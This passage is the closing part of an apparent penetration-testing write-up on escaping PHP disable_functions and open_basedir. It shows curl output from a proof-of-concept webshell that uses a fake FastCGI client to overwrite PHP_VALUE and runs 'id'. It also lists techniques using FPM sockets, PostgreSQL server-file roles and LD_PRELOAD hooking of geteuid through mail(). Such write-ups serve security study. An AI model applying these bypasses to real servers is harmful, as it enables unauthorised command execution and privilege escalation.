pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals
open_basedir: /var/www/html/docroot
~# curl -s "http://127.0.0.1:8080/poc.php"
PHP version (must >= 5.3.3): 7.1.0RC2
PHP SAPI Name (must fpm-cgi): fpm-fcgi
disable_functions: no values
open_basedir: /
~# 

Please note, we have to execute the fake FastCGI twice to make the changes available. After that we can use PHP commands like system().

~# curl -s "http://127.0.0.1:8080/poc.php" -d "pwd=85591a62f6920b4ec474a9c3feea380d&cmd=id"
uid=1000(site) gid=1000(site) groups=1000(site),27(sudo)
~# 

0x07: Lesson learned

  1. If open_basedir is set we are usually not able to access files except in the defined folder. By using the glob() function in combination with the DirectoryIterator class we are able to list the content of folders though open_basedir is set. Unfortunately, we cannot read files with the glob() technique.
  2. In case that PostgreSQL is used as DBMS and we have access to the server and the used database user is superuser or at least member of the pg_read_server_file and/or pg_execute_server_program role. We can read/execute commands in the context of the database user. This technique can also be used to escalate privileges in the client network when the DBMS is hosted on a different system as the web application.
  3. If FPM/FastCGI is used by the server API to render PHP files and we know the ‘PATH’ of the used FPM socket, we are able to access the socket and overwriting the ‘PHP_VALUE’. This can be reached by using a fake FastCGI client. The necessary FPM socket can be found be using the glob() function.
  4. The PHP function mail() would execute the sendmail command, which will start a new process and run geteuid(). This allow us to hook this function.
  5. If the sendmail command is not available we’re not any longer able to hook the geteuid() function. In this case we can hijack the new started process with the function runs before the main() function.
  6. In case that mail() is also part of the disable_functions we have to find another function which can start a new process. After that we can use the __attribute__ ((__constructor__)) to execute system commands.

0x08: Conclusion

We have seen that is possible to bypass disable_functions by hooking a system function and by using the ‘LD_PRELOAD’ technique. As a result, to force the process to use our hooked shared library. Furthermore, we have seen that open_basedir can also be bypassed. Furthermore, we have seen that it is also possible to bypass disable_functions. And finally, if the application is using PostgreSQL as DBMS we also have the opportunity, in some circumstances, to escalate privileges in the network of our client.

0x09: References